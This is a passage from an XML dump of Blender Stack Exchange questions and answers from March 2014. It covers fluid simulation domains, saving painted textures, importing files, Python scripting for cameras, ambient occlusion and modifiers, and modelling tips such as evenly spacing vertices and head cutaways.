LastEditorUserId="2173" LastEditDate="2014-03-27T03:11:05.320" LastActivityDate="2015-06-19T09:52:13.883" Title="Fluid not filling container completely" Tags="&lt;physics&gt;&lt;fluid-simulation&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7680" PostTypeId="2" ParentId="7679" CreationDate="2014-03-11T15:42:52.740" Score="1" Body="&lt;p&gt;As you pointed out there is not domain in your fluid simulation. You need to have a domain to simulate fluids, smoke and liquids. The other thing that might be a problem is that fact that your mesh is non-manifold, the mesh is absolute filthy. There are overlapping edges, stray verts and most importantly the mesh is not water tight, meaning the water does not know what side of the mesh is inside or outside. I will update my answer&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-11T15:42:52.740" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7681" PostTypeId="1" AcceptedAnswerId="7682" CreationDate="2014-03-11T16:45:42.140" Score="19" ViewCount="30414" Body="&lt;p&gt;I was following a &lt;a href=&quot;http://www.youtube.com/watch?v=r_WZvTAcaUc&quot; rel=&quot;noreferrer&quot;&gt;tutorial&lt;/a&gt; on how to use the Texture Paint feature on blender so I could paint on a terrain I am modeling.&#xA;I was successful to paint the whole terrain with beautiful, exuberant vegetation, and crystalline water running through the valley.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I saved my file, and I went to sleep.&#xA;But now I've reopened the file and everything seems like I left it yesterday, except that I can see no texture in the terrain...&#xA;The weird thing is that the textures i used are still there...&#xA;I don't understand, I barely understand the interface, please help.&#xA;I'm not even sure if the texture is there or if it was never &quot;saved&quot; or something... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T2JGr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am now going through the second part of the tutorial for possible answers but I (and hopefully many more) will be grateful for your help.&lt;/p&gt;&#xA;" OwnerUserId="1867" LastEditorUserId="599" LastEditDate="2015-08-15T06:45:27.880" LastActivityDate="2020-11-17T12:21:10.713" Title="Why did the texture I painted in texture paint mode disappear?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;texture-painting&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7682" PostTypeId="2" ParentId="7681" CreationDate="2014-03-11T16:59:06.830" Score="20" Body="&lt;p&gt;You need to save the image texture to an image file &lt;kbd&gt;F3&lt;/kbd&gt; (&lt;em&gt;Menu: Image / Save As Image&lt;/em&gt;) otherwise all changes are lost. Blender indicates an unsaved texture in the &lt;em&gt;UV-Editor&lt;/em&gt; with an asterisk at the &lt;em&gt;Image Menu Item&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/54ugd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Types/Image&quot; rel=&quot;noreferrer&quot;&gt;pack the image&lt;/a&gt; into the .blend file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s1cN8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-03-11T17:38:23.370" LastActivityDate="2014-03-11T17:38:23.370" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7683" PostTypeId="2" ParentId="7681" CreationDate="2014-03-11T17:00:00.183" Score="4" Body="&lt;p&gt;Did you save the texture? Blender will not automatically save the texure for you as the texture is an external file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the image has not been saved you will see a start indicating so in the UV view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nFmpK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't forget to press &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;S&lt;/kbd&gt; to save the image.&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-11T17:00:00.183" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7684" PostTypeId="1" CreationDate="2014-03-11T17:12:00.307" Score="1" ViewCount="4023" Body="&lt;p&gt;How can I import 3D models created in Autodesk and Tinker cad into Blender 2.69?  What file format should they be saved in?&lt;/p&gt;&#xA;" OwnerUserId="2763" LastEditorUserId="599" LastEditDate="2014-03-11T20:26:09.957" LastActivityDate="2014-04-10T20:51:41.343" Title="File format for importing from Autodesk and Tinker CAD?" Tags="&lt;import&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7685" PostTypeId="1" CreationDate="2014-03-11T17:15:35.480" Score="3" ViewCount="461" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T6a9x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I've tried everything I can think of on this one...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see in the image the monkey head is close behind the smoke, and the transparent cubes are slightly in front of the smoke.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is in BI, and the smoke and cubes are both ray-traced. The monkey is just a plain solid colour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did notice that only the closer parts of the monkey show through the smoke behind the cubes, and it works perfectly well for the more distant parts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, here's a &lt;a href=&quot;https://dl.dropboxusercontent.com/u/108957850/TransTest.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from taking the cubes out of the smoke, moving the background object out of the domain also works...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outside domain,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zRDIc.png&quot; alt=&quot;outside&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside domain,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8pUOh.png&quot; alt=&quot;inside&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help gandalf3. If anyone can figure it out based on this info. that would be much appreciated. And yes, if it is a bug, is there a way to address this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="2263" LastEditorUserId="2263" LastEditDate="2014-03-14T16:11:50.920" LastActivityDate="2014-03-14T16:11:50.920" Title="Smoke not rendering between a transparent object and another object" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;smoke-simulation&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-10-11T20:14:31.143" ContentLicense="CC BY-SA 3.0" />
  <row Id="7686" PostTypeId="1" AcceptedAnswerId="7688" CreationDate="2014-03-11T17:28:42.510" Score="5" ViewCount="2861" Body="&lt;p&gt;I'm trying to add some cameras to my scene that are orthographic. For this I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add camera&#xA;bpy.ops.object.camera_add(view_align=False, enter_editmode=False, location=(-12, 12, 12), rotation=(0.0, 0.0, 0.0), layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, ))&#xA;&#xA; make the camera of type orthographic&#xA;bpy.data.cameras[&quot;camera.001&quot;].type('ORTHO')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want all the cameras to be Orthographic, but i don't know how. I cant get this to work. I know that it is an ENUM, but i dont know what to do with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I set these to be orthographic?&lt;/p&gt;&#xA;" OwnerUserId="2764" LastEditorUserId="1653" LastEditDate="2014-03-11T19:38:21.480" LastActivityDate="2016-11-17T00:14:45.353" Title="How to set cameras type to Orthographic with python scripting" Tags="&lt;python&gt;&lt;scripting&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7687" PostTypeId="2" ParentId="7686" CreationDate="2014-03-11T17:34:41.530" Score="3" Body="&lt;p&gt;Orthographic can be set with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.cameras['Camera'].type = 'ORTHO'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-03-11T17:34:41.530" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7688" PostTypeId="2" ParentId="7686" CreationDate="2014-03-11T17:54:50.827" Score="2" Body="&lt;p&gt;The values to set for the types are: &#xA;&lt;code&gt;'PANO'&lt;/code&gt;, &lt;code&gt;'PERSP'&lt;/code&gt; and &lt;code&gt;'ORTHO'&lt;/code&gt; in your case, you would loop over all objects and check whether they are cameras and assign &lt;code&gt;'ORTHO'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for obj in bpy.context.scene.objects:&#xA;    if obj.type == 'CAMERA':&#xA;        print(obj.data.type)&#xA;        obj.data.type = 'ORTHO'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="241" LastEditDate="2016-11-17T00:14:45.353" LastActivityDate="2016-11-17T00:14:45.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7689" PostTypeId="1" AcceptedAnswerId="7690" CreationDate="2014-03-11T18:00:35.500" Score="2" ViewCount="637" Body="&lt;p&gt;When I move my mouse, the window in Blender blurs / smears down. Why is this is happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EygCc.png&quot; alt=&quot;Blurred / smeared Blender window&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2767" LastEditorUserId="1363" LastEditDate="2014-03-19T16:04:35.547" LastActivityDate="2014-03-19T16:04:35.547" Title="Window blurring or smearing down" Tags="&lt;interface&gt;&lt;opengl&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7690" PostTypeId="2" ParentId="7689" CreationDate="2014-03-11T18:17:05.237" Score="2" Body="&lt;p&gt;This is likely a configuration problem with your graphics driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disable Anti-Aliasing (or all kind of filters that blur the output, Super Sampling, ...) in the driver, so that it does't override Blender's own settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.blender.org/T24059&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/T24059&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-03-11T18:17:05.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7691" PostTypeId="2" ParentId="7684" CreationDate="2014-03-11T19:25:17.273" Score="1" Body="&lt;p&gt;Welcome to Blender SE! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Which Autodesk product are you using?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Files/Import&quot; rel=&quot;nofollow&quot;&gt;This documentation&lt;/a&gt; talks about what file types Blender can import. Depending on what Autodesk product you're using, Blender might be able to just open the file that it uses. OBJ is usually the most widely supported, but materials can be difficult and it doesn't support any proprietary features: OBJ will only export the mesh and sometimes materials (no shapes, no rigs, no animations, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't tell for sure, but I'd be willing to wager than Tinker supports exporting OBJ files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all you want is the model, OBJ is your best bet. In which case:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Export your original file as an OBJ&lt;/li&gt;&#xA;&lt;li&gt;Open Blender and File -&gt; Import... your OBJ into a new scene, or a scene you've already started.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-03-11T19:25:17.273" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7693" PostTypeId="2" ParentId="7675" CreationDate="2014-03-11T20:13:49.557" Score="0" Body="&lt;p&gt;Volimetric shading is in fact avaliable in Blender 2.69 but only in Blender Render renderer, not Cycles which got it in version 2.70.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a trick where you use composer to add volumetric shading to your image after having remainder rendered in Cycles renderer.&lt;/p&gt;&#xA;" OwnerUserId="1545" LastActivityDate="2014-03-11T20:13:49.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7694" PostTypeId="1" AcceptedAnswerId="7695" CreationDate="2014-03-11T21:30:15.660" Score="2" ViewCount="658" Body="&lt;p&gt;I am trying to access the world shading settings in python.&lt;br&gt;&#xA;I want to enable ambient occlusion and give it a value of &lt;code&gt;0.5&lt;/code&gt;.&#xA;I have tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.WorldLighting.use_ambient_occlusion()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I didn't work.&lt;/p&gt;&#xA;" OwnerUserId="2764" LastEditorUserId="599" LastEditDate="2014-03-11T22:07:31.107" LastActivityDate="2014-03-11T22:33:14.410" Title="How to enable ambient occlusion with python?" Tags="&lt;python&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7695" PostTypeId="2" ParentId="7694" CreationDate="2014-03-11T21:37:28.410" Score="3" Body="&lt;p&gt;To turn Ambient Occlusion on you must set its value to &lt;code&gt;True&lt;/code&gt;. What you are doing wrong is that you are trying to execute the function &lt;code&gt;use_ambient_occlusion()&lt;/code&gt; which does not exist because it's variable not a function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;bpy.context.scene.world.light_settings.use_ambient_occlusion = True  # turn AO on&#xA;bpy.context.scene.world.light_settings.ao_factor = 0.5  # set it to 0.5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-11T22:33:14.410" LastActivityDate="2014-03-11T22:33:14.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7696" PostTypeId="2" ParentId="7423" CreationDate="2014-03-11T21:38:34.160" Score="5" Body="&lt;p&gt;I would post a comment to the above answer, but apparently I need 50 reputation for that so I have to add an answer instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The book the OP is referring to is &quot;Blender Foundations: The Essential Guide To Learning Blender 2.6&quot;, by Roland Hess. I have this book myself and the text where the author refers to the Manipulate Object Centers Only is in a tutorial where we are trying to box model a simple chair. The effect he wants to achieve is to splay the 4 chair legs out from each other by selecting their bottom faces and using the scale tool:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;However, if you just select the bottom faces of the legs and hit the S&#xA;  key, they will move apart as you scale them up, but they will also&#xA;  grow in size. We'll try a new pivot style to solve the problem. Beside&#xA;  the pivot style menu on the 3D view header is a button called&#xA;  Manipulate Object Centers Only. This magical button causes&#xA;  transformations to only affect object centers, not their component&#xA;  structures. The effect works both in Object mode and Edit mode. In&#xA;  this case, selecting the four faces on the bottoms of the legs and&#xA;  enabling Manipulate Object Centers Only will move the faces away from&#xA;  one another when scaling without actually changing their size.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Note how he mentions the setting works in both Object mode and Edit mode, this seems to imply that we were meant to switch out of Edit mode to Object mode, switch the setting, the come back to Edit mode but he doesn't implicitly tell us this in the book. Having said this,  and after trying it myself this setting doesn't appear to do anything in Edit mode as the above users mention.&lt;/p&gt;&#xA;" OwnerUserId="2770" LastEditorUserId="2770" LastEditDate="2014-03-11T21:47:23.703" LastActivityDate="2014-03-11T21:47:23.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7697" PostTypeId="2" ParentId="7679" CreationDate="2014-03-11T21:55:36.683" Score="3" Body="&lt;p&gt;The issue is (as already pointed out by Vader) your mesh is not manifold, basically meaning that it can't exist in the real world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can select non-manifold geometry by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; in edit mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hkyr0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason all those edges are selected is because your mesh as no thickness. This will cause the fluid simulator (and a good many other things) to have problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can partially fix this situation with a &lt;em&gt;Solidify modifier&lt;/em&gt; (note that modifiers must be applied for the fluid simulator to take them into account), however there are still a few other problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you are better off starting over than trying to salvage this mesh, as even with the solidify modifier I don't think it will do what you want (I assume you want to have fluid everywhere except inside the letters).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An easy way to make hollow manifold text is by setting the &lt;em&gt;Fill&lt;/em&gt; to &lt;em&gt;None&lt;/em&gt; and adding a solidify modifier.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-03-11T21:55:36.683" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="7698" PostTypeId="1" AcceptedAnswerId="7703" CreationDate="2014-03-11T23:55:54.567" Score="24" ViewCount="34745" Body="&lt;p&gt;I have a edge loop that has vertices on it. Is there a way I can separate the vertices on the the edge evenly without moving the end points? I would also like for the vertices to maintain the current shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0UuYU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2017-05-19T08:16:56.380" Title="How to evenly space vertices?" Tags="&lt;modeling&gt;&lt;vertices&gt;&lt;edges&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7699" PostTypeId="1" AcceptedAnswerId="7702" CreationDate="2014-03-12T00:06:35.020" Score="6" ViewCount="6601" Body="&lt;p&gt;I am doing some modeling with blue prints. I would like to see the blue prints through my mesh. However when I switch to edit mode the transparency is no longer rendered. How can I enable transparency in edit mode? Or is the another way I can see my blue prints through the mesh? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P1jCK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using blender internal.&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="2217" LastEditDate="2014-03-30T01:09:00.460" LastActivityDate="2017-05-16T10:11:18.870" Title="Render Transparency in edit mode" Tags="&lt;modeling&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7700" PostTypeId="1" CreationDate="2014-03-12T00:20:51.930" Score="3" ViewCount="1906" Body="&lt;p&gt;I would like to apply all modifiers to an object with python.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for mod in ob.modifiers:&#xA;    bpy.ops.object.modifier_apply(modifier = mod.name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine, unless for some reason the modifier is disabled, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A Boolean modifier with no object&lt;/li&gt;&#xA;&lt;li&gt;A Shrinkwrap modifier with no target&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;General Problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than knowing all of the possible attributes of every modifier and checking to make sure the modifier is valid, is there a way to &lt;code&gt;bpy.ops.object.modifier_apply.poll()&lt;/code&gt; while specifying which modifier I want to apply?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that the &lt;code&gt;poll()&lt;/code&gt; method expects&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;poll(self, *args)&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps I can put something in for &lt;code&gt;*args&lt;/code&gt; which will help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Work Around: I can get the modified mesh &lt;code&gt;object.to_mesh()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2772" LastEditorUserId="2217" LastEditDate="2014-04-15T20:14:42.007" LastActivityDate="2016-02-15T13:39:33.693" Title="Apply all modifiers, .poll() a bpy operator with keyword argument?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7701" PostTypeId="1" CreationDate="2014-03-12T01:08:41.850" Score="7" ViewCount="1481" Body="&lt;p&gt;I have a plane for the ground, but leaving a sharp edge between it and the camera looks odd. so I tried to use mist to help blur the edges and make it look somewhat natural(since I can't just make it huge, blender insists on clipping at a certain size)&#xA;however, I also want freestyle on some objects. when rendering, it draws lines even on things that shouldn't be visible, like things in dense fog. is there a way to constrain the effect to specific meshes or exclude it from others?&lt;/p&gt;&#xA;" OwnerUserId="1911" LastActivityDate="2015-01-27T19:39:40.487" Title="how can I stop freestyle from drawing in mist?" Tags="&lt;blender-internal-render-engine&gt;&lt;freestyle&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7702" PostTypeId="2" ParentId="7699" CreationDate="2014-03-12T02:05:15.430" Score="6" Body="&lt;p&gt;First make sure you choose &lt;code&gt;GLSL&lt;/code&gt; shading mode in the properties panel of the 3D view (shortcut &lt;kbd&gt;N&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rzxSX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you can switch the viewport shading method to &lt;code&gt;Texture&lt;/code&gt; in the bottom menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/udc1U.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, your object will appear transparent (if you set up the material correctly ;) even in edit mode.&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2014-03-12T02:05:15.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7703" PostTypeId="2" ParentId="7698" CreationDate="2014-03-12T02:16:21.977" Score="37" Body="&lt;p&gt;There is an add-on bundled with Blender called &lt;em&gt;Loop Tools&lt;/em&gt; which has an option for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable it in &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt; &lt;em&gt;&gt; Preferences &gt; Addons&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iAMNl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The operator you want is accessible through &lt;kbd&gt;W&lt;/kbd&gt; &lt;em&gt;&gt; Loop Tools &gt; Space&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/frTEx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;em&gt;Edge Select Mode&lt;/em&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; &lt;em&gt;&gt; Edge&lt;/em&gt;), select the edges which you want to equalize:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before/After:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fmhFJ.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jYVbX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2016-08-04T22:50:25.497" LastActivityDate="2016-08-04T22:50:25.497" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7704" PostTypeId="1" AcceptedAnswerId="7705" CreationDate="2014-03-12T03:14:33.663" Score="1" ViewCount="188" Body="&lt;p&gt;I've got a possible job coming up for our university for the language department where they'd like a cutaway of a head to see how the mouth and tongue work with word sounds. Kind of like this &lt;a href=&quot;https://www.youtube.com/watch?v=Gsgv1m1a0Sc&amp;amp;index=3&amp;amp;list=PL5FCB12D7F83D2133&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=Gsgv1m1a0Sc&amp;amp;index=3&amp;amp;list=PL5FCB12D7F83D2133&lt;/a&gt; but in 3d so that the camera can rotate around the head but keep that simple cutaway look (ie solid walls and empty space not like this &lt;a href=&quot;https://www.youtube.com/watch?v=KPEBlP2cbIQ&amp;amp;index=4&amp;amp;list=PL5FCB12D7F83D2133&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=KPEBlP2cbIQ&amp;amp;index=4&amp;amp;list=PL5FCB12D7F83D2133&lt;/a&gt; since it's way too busy in look). I know the camera clipping plane kind of does this but doesn't keep that walled look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure how to approach this, any tips?&lt;/p&gt;&#xA;" OwnerUserId="1500" LastActivityDate="2014-03-12T07:18:13.193" Title="Head cutaway animation - possible?" Tags="&lt;animation&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7705" PostTypeId="2" ParentId="7704" CreationDate="2014-03-12T04:31:34.593" Score="2" Body="&lt;p&gt;You could make a large hidden cube cover half the head. Then apply a Boolean modifier to the head using the cube to 'subtract' the part of the head you want cut away. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just make sure the head has a high polycount so it doesn't distort noticeably much.&lt;/p&gt;&#xA;" OwnerUserId="2263" LastActivityDate="2014-03-12T04:31:34.593" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7706" PostTypeId="2" ParentId="7700" CreationDate="2014-03-12T05:29:18.280" Score="7" Body="&lt;p&gt;The short answer is &lt;strong&gt;no&lt;/strong&gt;, &lt;code&gt;poll&lt;/code&gt; checks that the basic context is valid but it doesn't do extensive checks that every operation will succeed &lt;em&gt;(It's often not trivial for tools to know this ahead of time)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can simply use exception handling for this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for mod in ob.modifiers:&#xA;    try:&#xA;        bpy.ops.object.modifier_apply(modifier=mod.name)&#xA;    except RuntimeError as ex:&#xA;        # print the error incase its important... but continue&#xA;        print(ex)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In this case I think you would be better off using,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;bpy.ops.object.convert(target='MESH')&lt;/code&gt; - converting a mesh to a mesh will replace the mesh with a version that has modifiers applied.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Object.to_mesh()&lt;/code&gt; - gives you most control, uses Pythons internal API.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2016-02-15T13:39:33.693" LastActivityDate="2016-02-15T13:39:33.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7707" PostTypeId="2" ParentId="7704" CreationDate="2014-03-12T07:11:57.543" Score="3" Body="&lt;p&gt;You could set a background image and trace the contours using extrusion modelling (I startet with a plane).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KCcUG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that you would add a few &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Techs/Shape/Shape_Keys&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Shape Keys&lt;/em&gt;&lt;/a&gt; for all animated parts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tsm2X.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add key frames of the Shape Key's values &lt;kbd&gt;RMB&lt;/kbd&gt; with mouse over the value 